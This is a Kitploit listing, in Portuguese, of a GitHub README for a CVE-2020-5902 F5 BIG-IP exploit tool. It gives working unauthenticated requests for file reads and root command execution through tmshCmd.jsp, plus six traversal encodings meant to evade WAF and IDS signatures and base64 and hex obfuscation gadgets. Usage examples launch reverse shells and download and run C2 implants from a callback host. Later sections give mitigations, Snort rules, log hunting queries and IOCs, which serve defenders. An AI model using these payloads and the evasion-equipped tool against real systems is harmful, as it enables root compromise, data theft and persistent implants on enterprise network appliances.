Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
F5-BIG-IP — O F5 BIG-IP é uma plataforma de entrega e segurança de aplicações amplamente utilizada em ambientes corporativos. A CVE-2020-5902 é uma vulnerabilidade crítica no TMUI que, em versões não corrigidas, pode permitir acesso não autorizado e execução remota de código, reforçando a necessidade de atualização e gestão contínua de vulnerabilidades. | Kitploit
Ferramentas/GitHubGitHub/devrafaelprogrammer/f5-big-ip
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlLearning & EducationRed TeamingPayload Development

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →

Sobre

GitHub
devrafaelprogrammer/f5-big-ip

F5-BIG-IP

Ver Repositório
há 1 mêsAinda não revisado

O F5 BIG-IP é uma plataforma de entrega e segurança de aplicações amplamente utilizada em ambientes corporativos. A CVE-2020-5902 é uma vulnerabilidade crítica no TMUI que, em versões não corrigidas, pode permitir acesso não autorizado e execução remota de código, reforçando a necessidade de atualização e gestão contínua de vulnerabilidades.

Compartilhar

CVE-2020-5902 — F5 BIG-IP TMUI RCE

Prova de conceito para a vulnerabilidade crítica de path traversal / execução remota de código na Interface de Usuário de Gerenciamento de Tráfego (TMUI) do F5 BIG-IP.

⚠️ Apenas para testes de penetração autorizados e pesquisa de segurança. O uso não autorizado contra sistemas que você não possui ou não tem permissão por escrito para testar é ilegal. O autor não assume nenhuma responsabilidade pelo uso indevido desta ferramenta.


Índice

  • Contexto
  • Análise da Vulnerabilidade
  • Aprofundamento Técnico
  • Versões Afetadas
  • Funcionalidades
  • Instalação
  • Uso
  • Medidas Defensivas
  • Detecção e Caça a Ameaças
  • Linha do Tempo
  • Referências
  • Aviso Legal

Contexto

O F5 BIG-IP é uma família de appliances de rede multiuso (balanceadores de carga, WAFs, controladores de entrega de aplicações) implantada na maioria das empresas Fortune 500, instituições financeiras, organizações de saúde e agências governamentais em todo o mundo. A Interface de Usuário de Gerenciamento de Tráfego (TMUI) — também chamada de Utilitário de Configuração — é o portal de gerenciamento baseado na web acessível na porta 443 (ou 8443).

Em julho de 2020, a F5 divulgou a CVE-2020-5902, uma vulnerabilidade Crítica (CVSS 9.8) de path traversal não autenticado no TMUI que permite a um atacante remoto não autenticado:

  • Ler arquivos arbitrários do sistema Linux subjacente (LFI)
  • Executar comandos arbitrários do sistema operacional como root (RCE)
  • Comprometer completamente o appliance e pivotar para redes internas

Em dias após a divulgação pública, foi observada exploração em massa em produção, inclusive por agentes estatais.


Análise da Vulnerabilidade

Causa Raiz

O TMUI é construído sobre Apache Tomcat e utiliza um filtro servlet para aplicar autenticação em recursos protegidos. A vulnerabilidade reside na forma como o Tomcat analisa segmentos de caminho delimitados por ponto e vírgula (;).

A seguinte requisição ignora a autenticação completamente:

root@kitploit:~
GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

Por que funciona:

  1. O filtro servlet do Tomcat vê o caminho como /tmui/login.jsp (termina antes do ;) — que é a página de login pública — e permite a requisição.
  2. O resolvedor de URL do Tomcat processa /..;/ como uma path traversal (/../) antes de despachar.
  3. A requisição é então roteada para o servlet protegido fileRead.jsp sem autenticação.
root@kitploit:~
┌──────────────────────────────────────────────────────────────────┐
│  Client Request                                                   │
│  GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp     │
└────────────────────────────┬─────────────────────────────────────┘
                             │
             ┌───────────────▼───────────────┐
             │    Tomcat Servlet Filter       │
             │  Sees: /tmui/login.jsp  ✓     │
             │  (public endpoint → ALLOW)    │
             └───────────────┬───────────────┘
                             │
             ┌───────────────▼───────────────┐
             │    Tomcat URL Resolver         │
             │  Resolves: /..;/ → /../       │
             │  Final path: /tmui/locallb/   │
             │  workspace/fileRead.jsp ← 🔓  │
             └───────────────┬───────────────┘
                             │
             ┌───────────────▼───────────────┐
             │  fileRead.jsp (no auth check) │
             │  Reads arbitrary files as root│
             └───────────────────────────────┘

De LFI a RCE

O servlet tmshCmd.jsp (também acessível através da mesma travessia) passa os parâmetros command e utilCmdArgs diretamente para tmsh (o shell de gerenciamento do BIG-IP), que envolve run util bash -c '...'. Isso fornece execução de comandos do sistema operacional como root não autenticada:

root@kitploit:~
POST /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp
command=run+util+bash+-c+'id'&utilCmdArgs=-c+'id'

Aprofundamento Técnico

Fluxo de Ataque

root@kitploit:~
Fase 1: Reconhecimento
  └─ Captura de banner TCP (impressão digital HTTP/TLS)
  └─ Análise de certificado SSL
  └─ Impressão digital de cabeçalhos HTTP (Server, X-Powered-By, Set-Cookie)
  └─ Estimativa da versão do BIG-IP a partir de /etc/f5-release

Fase 2: Verificação de Vulnerabilidade
  └─ Iterar sobre 6 variantes de codificação de travessia
  └─ Testar contra 4 arquivos sentinelas conhecidos como legíveis
  └─ Confirmar saída corresponde a indicadores conhecidos (root:x:0:0, BIG-IP, etc.)

Fase 3: Exploração
  ├─ Vetor A: tmshCmd.jsp (RCE primário)
  │    └─ Comando ofuscado via gadgets base64 / hex-encode
  ├─ Vetor B: fileRead.jsp + injeção de comando no parâmetro fileName
  │    └─ Comando do SO injetado no parâmetro fileName
  └─ Vetor C: Envenenamento de log (injeção User-Agent → ler access_log)

Fase 4: Pós-Exploração (opcional)
  ├─ Shell interativo (REPL de comandos)
  ├─ Reverse shell (4 one-liners concorrentes)
  ├─ LFI brute-force (30 caminhos sensíveis, paralelo)
  └─ Implantação de implante C2 (Sliver / Metasploit / customizado)

Variantes de Codificação de Travessia

Gadgets de Ofuscação de Comandos

A ferramenta aplica um de dois gadgets de ofuscação por execução, dificultando a detecção por assinatura estática:

root@kitploit:~
# Gadget 1 — Pipeline de codificação/decodificação Base64
bash -c {echo,aWQ=}|{base64,-d}|bash

# Gadget 2 — Avaliação de printf em hex
eval "$(printf '\x69\x64')"

Versões Afetadas

BIG-IQ, BIG-IQ Centralized Management, F5OS e Traffix SDC não são afetados por esta CVE específica.


Funcionalidades

  • Path traversal multivariante — 6 permutações de codificação para evadir assinaturas WAF/IDS
  • Três vetores RCE independentes — tmshCmd.jsp, injeção fileRead, envenenamento de log
  • Gadgets de ofuscação de comandos — pipelines base64 e hex-encode
  • Fase de reconhecimento passivo — banner TCP, impressão digital SSL/TLS, análise de cabeçalho HTTP
  • LFI brute-force paralelo — 30 caminhos sensíveis, 10 threads concorrentes
  • Reverse shells concorrentes — 4 one-liners disparados simultaneamente
  • Integração C2 — Sliver, Metasploit, implantes customizados (Linux/Windows/PS1)
  • Cabeçalhos de evasão — User-Agents aleatórios, cabeçalhos de spoofing de IP, cabeçalhos de ruído
  • Shell interativo REPL — comandos !revshell, !c2, !read, !brute
  • Suporte a proxy — Integração Burp Suite / mitmproxy

Instalação

root@kitploit:~
git clone https://github.com/DevRafaelprogrammer/F5-BIG-IP.git
cd F5-BIG-IP
pip install requests pycryptodome urllib3

Requisitos: Python 3.10+


Uso

root@kitploit:~
python CVE-2020-5902.py [-h] [--port PORT] [--proxy URL] [--no-recon]
                        [--cmd CMD] [--shell] [--lfi-brute]
                        [--revshell LHOST LPORT]
                        [--c2-url URL] [--c2-type TYPE] [--c2-args ARGS]
                        target

Exemplos

root@kitploit:~
# 1. Apenas verificação de vulnerabilidade
python CVE-2020-5902.py 192.168.1.100

# 2. Porta personalizada + execução de comando único
python CVE-2020-5902.py 192.168.1.100 --port 8443 --cmd "id && uname -a"

# 3. Shell interativo
python CVE-2020-5902.py 192.168.1.100 --shell

# 4. LFI brute-force (lê 30 caminhos sensíveis)
python CVE-2020-5902.py 192.168.1.100 --lfi-brute

# 5. Reverse shell callback
python CVE-2020-5902.py 192.168.1.100 --revshell 10.0.0.1 4444

# 6. Implantar um implante C2 (exemplo Sliver)
python CVE-2020-5902.py 192.168.1.100 \
  --c2-url http://10.0.0.1:8000/implant \
  --c2-type linux

# 7. Roteamento através do Burp Suite para inspeção de tráfego
python CVE-2020-5902.py 192.168.1.100 --proxy http://127.0.0.1:8080

Comandos do Shell Interativo

Uma vez no modo --shell, os seguintes comandos especiais estão disponíveis:


Medidas Defensivas

Mitigações Imediatas (se a correção ainda não for possível)

1. Bloquear Acesso TMUI da Internet

A mitigação mais eficaz é garantir que a interface de gerenciamento nunca seja acessível de redes não confiáveis:

root@kitploit:~
# BIG-IP: restringir acesso de gerenciamento a uma VLAN/faixa de IP dedicada
tmsh modify sys httpd allow replace-all-with { 10.0.0.0/8 192.168.0.0/16 }
tmsh save sys config

Alternativamente, na configuração de Self IP do BIG-IP, certifique-se de que a porta de gerenciamento não tenha rota externa.

2. Aplicar Mitigação Oficial da F5 (pré-patch)

A F5 publicou um script de mitigação que adiciona uma regra RewriteRule do Apache para bloquear o padrão de travessia:

root@kitploit:~
# /etc/httpd/conf.d/CVE-2020-5902.conf
RewriteEngine On
RewriteCond %{THE_REQUEST} "([^\ ]+)\x3b" [NC]
RewriteRule ^ - [F,L]

Referência: K52145254 — Passos de mitigação

3. Patch — Aplicar a Versão Corrigida

A correção definitiva é atualizar o BIG-IP para uma versão corrigida (consulte a tabela Versões Afetadas). A F5 corrigiu a lógica do filtro servlet para analisar adequadamente os segmentos de caminho delimitados por ponto e vírgula antes da imposição de autenticação.


Defesas em Nível de Arquitetura

Acesso de Rede Zero Trust para Planos de Gerenciamento

root@kitploit:~
┌────────────────────────────────────────────────────────────────┐
│  ARQUITETURA RECOMENDADA                                       │
│                                                                 │
│  Internet ──────► Firewall ──────► DMZ / Produção             │
│                      │                                          │
│                      │  (NEGAR todo tráfego para portas de mgmt)│
│                      │                                          │
│                   Jump Host ──────► BIG-IP TMUI (porta 443)    │
│                 (MFA + VPN)         (apenas VLAN de gerência)   │
└────────────────────────────────────────────────────────────────┘

Princípios-chave:

  • Interfaces de gerenciamento nunca devem estar no mesmo IP/porta do tráfego de produção
  • O acesso exige VPN + MFA antes de alcançar o jump host
  • O bloqueio de porta Self IP do BIG-IP deve ser configurado como Allow None ou Allow Defaults

Regras de Firewall de Aplicação Web (WAF)

Se um WAF estiver na frente do gerenciamento BIG-IP (incomum, mas possível em algumas arquiteturas), adicione regras para bloquear:

  • Requisições contendo ; no caminho da URL
  • Requisições correspondentes a ..; ou %3b em segmentos de caminho
  • Requisições para /tmui/locallb/workspace/ de fontes não relacionadas ao gerenciamento

Checklist de Hardening de Segurança

root@kitploit:~
[ ] BIG-IP atualizado para uma versão corrigida
[ ] TMUI não exposto à internet (verificar com Shodan/Censys)
[ ] VLAN de gerenciamento segregada da produção
[ ] Bloqueio de porta Self IP configurado (Allow None ou Allow Defaults)
[ ] MFA imposto no acesso de gerenciamento
[ ] Inventário de software BIG-IP no sistema de gerenciamento de ativos
[ ] Varredura automatizada de vulnerabilidades (Tenable/Qualys) inclui BIG-IP
[ ] Encaminhamento de logs para SIEM configurado (access_log, audit.log)
[ ] Segmentação de rede: BIG-IP comprometido não pode alcançar controladores de domínio
[ ] Playbook de resposta a incidentes inclui cenário de comprometimento de dispositivo de rede

Detecção e Caça a Ameaças

Assinaturas IDS/IPS (Snort / Suricata)

root@kitploit:~
# Detectar tentativas de path traversal (bypass ponto e vírgula)
alert http any any -> $HOME_NET 443 (
    msg:"CVE-2020-5902 F5 BIG-IP TMUI Path Traversal";
    flow:to_server,established;
    content:"tmui"; http_uri; nocase;
    content:"..;"; http_uri;
    content:"workspace"; http_uri; nocase;
    reference:cve,2020-5902;
    sid:9000001; rev:1;
)

# Detectar variante de ponto e vírgula codificado
alert http any any -> $HOME_NET 443 (
    msg:"CVE-2020-5902 F5 BIG-IP TMUI Path Traversal (codificado)";
    flow:to_server,established;
    content:"tmui"; http_uri; nocase;
    content:"%3b"; http_uri; nocase;
    content:"fileRead"; http_uri; nocase;
    reference:cve,2020-5902;
    sid:9000002; rev:1;
)

Padrão de Log Apache/HTTPD (grep)

root@kitploit:~
# Caçar tentativas de travessia nos logs de acesso do BIG-IP
grep -iE "(\.\.;|%2e%2e|%252e|\.\.%3b|%2e%2e%3b)" /var/log/httpd/access_log

# Procurar hits bem-sucedidos nos endpoints vulneráveis
grep -iE "(fileRead\.jsp|tmshCmd\.jsp|workspace)" /var/log/httpd/access_log | \
  grep -v "^10\.\|^192\.168\.\|^172\.1[6-9]\.\|^172\.2[0-9]\.\|^172\.3[0-1]\."

Consulta SIEM (Splunk SPL)

root@kitploit:~
index=network sourcetype=f5:bigip:access
  (uri_path="*..;*" OR uri_path="*%3b*" OR uri_path="*%2e%2e*")
  (uri_path="*workspace*" OR uri_path="*fileRead*" OR uri_path="*tmshCmd*")
| eval risk=if(status=200, "HIGH", "MEDIUM")
| stats count by src_ip, uri_path, status, risk
| sort -count

Indicadores de Comprometimento (IOCs)

Padrões de URL:

root@kitploit:~
/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp
/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp
/tmui/login.jsp/%2e%2e;/tmui/locallb/workspace/fileRead.jsp
/tmui/login.jsp/..%3b/tmui/locallb/workspace/fileRead.jsp

Objetivos comuns dos atacantes (arquivos acessados):

root@kitploit:~
/etc/passwd                  — coleta de credenciais
/config/bigip.conf           — exfiltração de configuração VPN/roteamento
/config/bigip.license        — roubo de chave de licença
/config/bigip_user.conf      — enumeração de conta de admin local
/root/.bash_history          — reconhecimento de comandos históricos

Linha do Tempo


Referências

  • NVD — CVE-2020-5902
  • Comunicado de Segurança F5 K52145254
  • Diretiva de Emergência CISA 20-03
  • Análise Rapid7
  • Cobertura BleepingComputer
  • Consulta Shodan: http.title:"BIG-IP" port:443

Aviso Legal

Esta ferramenta é fornecida apenas para fins educacionais e avaliações de segurança autorizadas. Ela é destinada a:

  • Testadores de penetração com autorização por escrito do proprietário do ativo
  • Pesquisadores de segurança estudando a vulnerabilidade em ambientes de laboratório
  • Defensores construindo assinaturas de detecção e configurações de hardening
  • Participantes de competições CTF (Capture The Flag)

Usar esta ferramenta contra sistemas sem permissão explícita por escrito é uma infração criminal sob o Computer Fraud and Abuse Act (CFAA), o UK Computer Misuse Act, a Lei Brasileira nº 12.737/2012 (Lei Carolina Dieckmann) e leis equivalentes na maioria das jurisdições mundiais.

O autor e os contribuidores deste repositório não aceitam nenhuma responsabilidade por danos, consequências legais ou outros prejuízos resultantes do uso indevido deste software.


Feito para a comunidade de pesquisa em segurança. Corrija seus sistemas. Proteja suas redes.

Baixar ferramenta
VariantePayload
Padrãotmui/login.jsp/..;/tmui/...
Ponto e vírgula codificadotmui/login.jsp/..%3b/tmui/...
Dupla codificação URLtmui%2flogin.jsp%2f..%3b%2ftmui%2f...
Unicode ponto-pontotmui/login.jsp/%2e%2e;/tmui/...
Variação de maiúsculasTMUI/login.jsp/..;/tmui/...
Confusão de diretóriotmui/login.jsp/..;/tmui/locallb/workspace/../workspace/...
Ramo BIG-IPFaixa VulnerávelVersão Corrigida
15.x< 15.1.0.4≥ 15.1.0.4
14.x< 14.1.2.6≥ 14.1.2.6
13.x< 13.1.3.4≥ 13.1.3.4
12.x< 12.1.5.2≥ 12.1.5.2
11.x< 11.6.5.2≥ 11.6.5.2
ComandoDescrição
!revshell <lhost> <lport>Dispara 4 variantes de reverse shell concorrentemente
!c2 <url> <type> [args]Baixa e executa um implante C2
!read <path>Lê um arquivo arbitrário via LFI
!bruteForça bruta em 30 caminhos sensíveis
!exitEncerra a sessão
<qualquer comando do SO>Executa via RCE e imprime a saída
DataEvento
2020-06-30F5 notificada em privado
2020-07-01F5 divulga comunicado (K52145254) e correções
2020-07-03PoC público divulgado no Twitter
2020-07-04Exploração em massa observada por várias empresas de inteligência de ameaças
2020-07-06CISA emite Diretiva de Emergência 20-03 exigindo correção federal
2020-07-09Atores estatais (APT) confirmados explorando em produção
2020-07-15Aproximadamente 8.000 instâncias BIG-IP ainda sem patch (Shodan)
2020-08-xxGrupos de ransomware começam a mirar dispositivos BIG-IP sem patch